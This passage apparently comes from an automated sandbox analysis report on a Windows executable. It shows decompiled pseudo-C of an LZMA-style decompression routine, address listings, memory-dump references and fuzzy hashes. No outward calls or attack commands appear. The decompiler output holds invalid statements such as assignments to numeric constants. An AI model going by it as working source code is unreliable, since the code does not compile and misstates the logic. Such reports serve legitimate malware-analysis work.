												__eax =  *(__ebp - 0x30);
												_t401 = __ebp - 0x60;
												 *_t401 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t401;
												goto L124;
											}
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L103:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L109:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L113:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														_t392 = __ebp - 0x2c;
														 *_t392 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t392;
														goto L120;
													}
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L112:
														_t369 = __ebp - 0x48;
														 *_t369 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t369;
														goto L113;
													} else {
														goto L110;
													}
												}
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L102:
													_t339 = __ebp - 0x48;
													 *_t339 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t339;
													goto L103;
												} else {
													goto L100;
												}
											}
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L109;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x00407291
0x00407291
0x00407295
0x004072ba
0x004072c4
0x00000000
0x00407297
0x00407297
0x0040729a
0x0040729e
0x004072a1
0x004072a4
0x004072a8
0x004072a8
0x004072ab
0x00407385
0x00407385
0x0040738c
0x0040738c
0x0040738f
0x00407396
0x004073c3
0x004073c7
0x00407427
0x0040742a
0x0040742f
0x00407430
0x00407432
0x00407434
0x00407437
0x00407343
0x00407343
0x00407343
0x00406adf
0x00406adf
0x00406adf
0x00406ae8
0x00000000
0x00000000
0x00406aee
0x00000000
0x00406af9
0x00000000
0x00000000
0x00406b02
0x00406b05
0x00406b08
0x00406b0c
0x00000000
0x00000000
0x00406b12
0x00406b15
0x00406b17
0x00406b18
0x00406b1b
0x00406b1d
0x00406b1e
0x00406b20
0x00406b23
0x00406b28
0x00406b2d
0x00406b36
0x00406b49
0x00406b4c
0x00406b58
0x00406b80
0x00406b82
0x00406b90
0x00406b90
0x00406b94
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b84
0x00406b84
0x00406b87
0x00406b88
0x00406b88
0x00000000
0x00406b84
0x00406b5e
0x00406b63
0x00406b63
0x00406b6c
0x00406b74
0x00406b77
0x00000000
0x00406b7d
0x00406b7d
0x00000000
0x00406b7d
0x00000000
0x00406b9a
0x00406b9a
0x00406b9e
0x0040744a
0x00000000
0x0040744a
0x00406ba7
0x00406bb7
0x00406bba
0x00406bbd
0x00406bbd
0x00406bbd
0x00406bc0
0x00406bc4
0x00000000
0x00000000
0x00406bc6
0x00406bcc
0x00406bf6
0x00406bfc
0x00406c03
0x00000000
0x00406c03
0x00406bd2
0x00406bd5
0x00406bda
0x00406bda
0x00406be5
0x00406bed
0x00406bf0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c35
0x00406c3b
0x00406c3e
0x00406c4b
0x00406c53
0x00000000
0x00000000
0x00406c0a
0x00406c0a
0x00406c0e
0x00407459
0x00000000
0x00407459
0x00406c1a
0x00406c25
0x00406c25
0x00406c25
0x00406c28
0x00406c2b
0x00406c2e
0x00406c33
0x00000000
0x00000000
0x00000000
0x00000000
0x004072ca
0x004072ca
0x004072d0
0x004072d6
0x004072dc
0x004072f6
0x004072f9
0x004072ff
0x0040730a
0x0040730a
0x0040730c
0x004072de
0x004072de
0x004072ed
0x004072f1
0x004072f1
0x00407316
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00407318
0x0040731c
0x004074cb
0x00000000
0x004074cb
0x00407328
0x0040732f
0x00407337
0x0040733a
0x0040733d
0x0040733d
0x00000000
0x00000000
0x00406c5b
0x00406c5d
0x00406c60
0x00406cd1
0x00406cd4
0x00406cd7
0x00406cde
0x00406ce8
0x00000000
0x00406ce8
0x00406c62
0x00406c66
0x00406c69
0x00406c6b
0x00406c6e
0x00406c71
0x00406c73
0x00406c76
0x00406c78
0x00406c7d
0x00406c80
0x00406c83
0x00406c87
0x00406c8e
0x00406c91
0x00406c98
0x00406c9c
0x00406ca4
0x00406ca4
0x00406ca4
0x00406c9e
0x00406c9e
0x00406c9e
0x00406c93
0x00406c93
0x00406c93
0x00406ca8
0x00406cab
0x00406cc9
0x00406ccb
0x00000000
0x00406cad
0x00406cad
0x00406cb0
0x00406cb3
0x00406cb6
0x00406cb8
0x00406cb8
0x00406cb8
0x00406cbb
0x00406cbe
0x00406cc0
0x00406cc1
0x00406cc4
0x00000000
0x00406cc4
0x00000000
0x00406efa
0x00406efe
0x00406f1c
0x00406f1f
0x00406f26
0x00406f29
0x00406f2c
0x00406f2f
0x00406f32
0x00406f35
0x00406f37
0x00406f3e
0x00406f3f
0x00406f41
0x00406f44
0x00406f47
0x00406f4a
0x00406f4a
0x00406f4f
0x00000000
0x00406f4f
0x00406f00
0x00406f03
0x00406f06
0x00406f10
0x00000000
0x00000000
0x00406f64
0x00406f68
0x00406f8b
0x00406f8e
0x00406f91
0x00406f9b
0x00406f6a
0x00406f6a
0x00406f6d
0x00406f70
0x00406f73
0x00406f80
0x00406f83
0x00406f83
0x00000000
0x00000000
0x00406fa7
0x00406fab
0x00000000
0x00000000
0x00406fb1
0x00406fb5
0x00000000
0x00000000
0x00406fbb
0x00406fbd
0x00406fc1
0x00406fc1
0x00406fc4
0x00406fc8
0x00000000
0x00000000
0x00407018
0x0040701c
0x00407023
0x00407026
0x00407029
0x00407033
0x00000000
0x00407033
0x0040701e
0x00000000
0x00000000
0x0040703f
0x00407043
0x0040704a
0x0040704d
0x00407050
0x00407045
0x00407045
0x00407045
0x00407053
0x00407056
0x00407059
0x00407059
0x0040705c
0x0040705f
0x00407062
0x00407062
0x00407065
0x0040706c
0x00407071
0x00000000
0x00000000
0x004070ff
0x004070ff
0x00407103
0x004074a1
0x00000000
0x004074a1
0x00407109
0x0040710c
0x0040710f
0x00407113
0x00407116
0x0040711c
0x0040711e
0x0040711e
0x0040711e
0x00407121
0x00407124
0x00000000
0x00000000
0x00406cf4
0x00406cf4
0x00406cf8
0x00407465
0x00000000
0x00407465
0x00406cfe
0x00406d01
0x00406d04
0x00406d08
0x00406d0b
0x00406d11
0x00406d13
0x00406d13
0x00406d13
0x00406d16
0x00406d19
0x00406d19
0x00406d1c
0x00406d1f
0x00000000
0x00000000
0x00406d25
0x00406d2b
0x00000000
0x00000000
0x00406d31
0x00406d31
0x00406d35
0x00406d38
0x00406d3b
0x00406d3e
0x00406d41
0x00406d42
0x00406d45
0x00406d47
0x00406d4d
0x00406d50
0x00406d53
0x00406d56
0x00406d59
0x00406d5c
0x00406d5f
0x00406d7b
0x00406d7e
0x00406d81
0x00406d84
0x00406d8b
0x00406d8f
0x00406d91
0x00406d95
0x00406d61
0x00406d61
0x00406d65
0x00406d6d
0x00406d72
0x00406d74
0x00406d76
0x00406d76
0x00406d98
0x00406d9f
0x00406da2
0x00000000
0x00406da8
0x00000000
0x00406da8
0x00000000
0x00406dad
0x00406dad
0x00406db1
0x00407471
0x00000000
0x00407471
0x00406db7
0x00406dba
0x00406dbd
0x00406dc1
0x00406dc4
0x00406dca
0x00406dcc
0x00406dcc
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd2
0x00406dd2
0x00406dd8
0x00000000
0x00000000
0x00406dda
0x00406ddd
0x00406de0
0x00406de3
0x00406de6
0x00406de9
0x00406dec
0x00406def
0x00406df2
0x00406df5
0x00406df8
0x00406e10
0x00406e13
0x00406e16
0x00406e19
0x00406e19
0x00406e1c
0x00406e20
0x00406e22
0x00406dfa
0x00406dfa
0x00406e02
0x00406e07
0x00406e09
0x00406e0b
0x00406e0b
0x00406e25
0x00406e2c
0x00406e2f
0x00000000
0x00406e31
0x00000000
0x00406e31
0x00406e2f
0x00406e36
0x00406e36
0x00406e36
0x00406e36
0x00000000
0x00000000
0x00406e71
0x00406e71
0x00406e75
0x0040747d
0x00000000
0x0040747d
0x00406e7b
0x00406e7e
0x00406e81
0x00406e85
0x00406e88
0x00406e8e
0x00406e90
0x00406e90
0x00406e90
0x00406e93
0x00406e96
0x00406e96
0x00406e9c
0x00406e3a
0x00406e3a
0x00406e3d
0x00000000
0x00406e3d
0x00406e9e
0x00406e9e
0x00406ea1
0x00406ea4
0x00406ea7
0x00406eaa
0x00406ead
0x00406eb0
0x00406eb3
0x00406eb6
0x00406eb9
0x00406ebc
0x00406ed4
0x00406ed7
0x00406eda
0x00406edd
0x00406edd
0x00406ee0
0x00406ee4
0x00406ee6
0x00406ebe
0x00406ebe
0x00406ec6
0x00406ecb
0x00406ecd
0x00406ecf
0x00406ecf
0x00406ee9
0x00406ef0
0x00406ef3
0x00000000
0x00406ef5
0x00000000
0x00406ef5
0x00000000
0x00407182
0x00407182
0x00407186
0x004074ad
0x00000000
0x004074ad
0x0040718c
0x0040718f
0x00407192
0x00407196
0x00407199
0x0040719f
0x004071a1
0x004071a1
0x004071a1
0x004071a4
0x00000000
0x00000000
0x00406f52
0x00406f52
0x00406f55
0x004072c7
0x004072c7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040734e
0x00407352
0x00407370
0x00407370
0x00407370
0x00407377
0x0040737e
0x00000000
0x0040737e
0x00407354
0x00407357
0x0040735a
0x0040735d
0x00407364
0x00000000
0x00000000
0x0040743f
0x00407442
0x00407343
0x00407343
0x00000000
0x00000000
0x00407079
0x0040707b
0x00407082
0x00407083
0x00407085
0x00407088
0x00000000
0x00000000
0x00407090
0x00407093
0x00407096
0x00407098
0x0040709a
0x0040709a
0x0040709b
0x0040709e
0x004070a5
0x004070a8
0x004070b6
0x00000000
0x00000000
0x00000000
0x00000000
0x0040739b
0x0040739b
0x0040739f
0x004074d7
0x00000000
0x004074d7
0x004073a5
0x004073a8
0x004073ab
0x004073af
0x004073b2
0x004073b8
0x004073ba
0x004073ba
0x004073ba
0x004073bd
0x004073c0
0x004073c0
0x004073c0
0x004073c0
0x00000000
0x00000000
0x004070be
0x004070c1
0x004070f7
0x00407227
0x00407227
0x00407227
0x00407227
0x0040722a
0x0040722a
0x0040722d
0x0040722f
0x004074b9
0x00000000
0x004074b9
0x00407235
0x00407238
0x00000000
0x00000000
0x0040723e
0x00407242
0x00407245
0x00407245
0x00407245
0x00000000
0x00407245
0x004070c3
0x004070c5
0x004070c7
0x004070c9
0x004070cc
0x004070cd
0x004070cf
0x004070d1
0x004070d4
0x004070d7
0x004070ed
0x004070f2
0x0040712a
0x0040712a
0x0040712e
0x0040715a
0x0040715c
0x00407163
0x00407166
0x00407169
0x00407169
0x0040716e
0x0040716e
0x00407170
0x00407173
0x0040717a
0x0040717d
0x004071aa
0x004071aa
0x004071ad
0x004071b0
0x00407224
0x00407224
0x00407224
0x00000000
0x00407224
0x004071b2
0x004071b8
0x004071bb
0x004071be
0x004071c1
0x004071c4
0x004071c7
0x004071ca
0x004071cd
0x004071d0
0x004071d3
0x004071ec
0x004071ee
0x004071f1
0x004071f2
0x004071f5
0x004071f7
0x004071fa
0x004071fc
0x004071fe
0x00407201
0x00407203
0x00407206
0x0040720a
0x0040720c
0x0040720c
0x0040720d
0x00407210
0x00407213
0x004071d5
0x004071d5
0x004071dd
0x004071e2
0x004071e4
0x004071e7
0x004071e7
0x00407216
0x0040721d
0x004071a7
0x004071a7
0x004071a7
0x004071a7
0x00000000
0x0040721f
0x00000000
0x0040721f
0x0040721d
0x00407130
0x00407133
0x00407135
0x00407138
0x0040713b
0x0040713e
0x00407140
0x00407143
0x00407146
0x00407146
0x00407149
0x00407149
0x0040714c
0x00407153
0x00407127
0x00407127
0x00407127
0x00407127
0x00000000
0x00407155
0x00000000
0x00407155
0x00407153
0x004070d9
0x004070dc
0x004070de
0x004070e1
0x00000000
0x00000000
0x00406e40
0x00406e40
0x00406e44
0x00407489
0x00000000
0x00407489
0x00406e4a
0x00406e4d
0x00406e50
0x00406e53
0x00406e56
0x00406e59
0x00406e5c
0x00406e5e
0x00406e61
0x00406e64
0x00406e67
0x00406e69
0x00406e69
0x00406e69
0x00000000
0x00000000
0x00406fcb
0x00406fcb
0x00406fcf
0x00407495
0x00000000
0x00407495
0x00406fd5
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe0
0x00406fe0
0x00406fe0
0x00406fe3
0x00406fe6
0x00406fe9
0x00406fec
0x00406fef
0x00406ff2
0x00406ff3
0x00406ff5
0x00406ff5
0x00406ff5
0x00406ff8
0x00406ffb
0x00406ffe
0x00407001
0x00407001
0x00407001
0x00407004
0x00407006
0x00407006
0x00000000
0x00000000
0x00407248
0x00407248
0x00407248
0x0040724c
0x00000000
0x00000000
0x00407252
0x00407255
0x00407258
0x0040725b
0x0040725d
0x0040725d
0x0040725d
0x00407260
0x00407263
0x00407266
0x00407269
0x0040726c
0x0040726f
0x00407270
0x00407272
0x00407272
0x00407272
0x00407275
0x00407278
0x0040727b
0x0040727e
0x00407281
0x00407285
0x00407287
0x0040728a
0x00000000
0x0040728c
0x00407009
0x00407009
0x00000000
0x00407009
0x0040728a
0x004074bf
0x004074e1
0x004074e7
0x004074e9
0x004074f0
0x004074f2
0x004074f9
0x004074fd
0x00000000
0x00406aee
0x004074f6
0x004074f6
0x00000000
0x004074f6
0x00407343
0x004073c9
0x004073cf
0x004073d2
0x004073d5
0x004073d8
0x004073db
0x004073de
0x004073e1
0x004073e4
0x004073ea
0x00407403
0x00407406
0x00407409
0x0040740c
0x00407410
0x00407412
0x00407413
0x00407416
0x004073ec
0x004073ec
0x004073f4
0x004073f9
0x004073fb
0x004073fe
0x004073fe
0x00407420
0x00000000
0x00407422
0x00000000
0x00407422
0x00407420
0x00000000
0x00407295

Memory Dump Source

Source File: 00000000.00000002.219146456.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.219138047.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219154855.0000000000408000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.219164780.000000000040A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219169781.000000000040C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219178663.0000000000414000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219188296.0000000000427000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219195895.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219204397.0000000000437000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.219210929.000000000043B000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f17471a99a701cf31c58911c016ae07bdee3b17eca89a89cbbe770d5c4f1181
Instruction ID: 5a24a20e97f266d7e3441ea32a969c72ce760fd7697c8a443cfa4f07d4855531
Opcode Fuzzy Hash: 5f17471a99a701cf31c58911c016ae07bdee3b17eca89a89cbbe770d5c4f1181
Instruction Fuzzy Hash: 6F911170D04229CBEF28CF98C854BADBBB1FB44305F14816ED856BB291C7786A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406FA7, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406FA7() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M004074FE))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8));
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
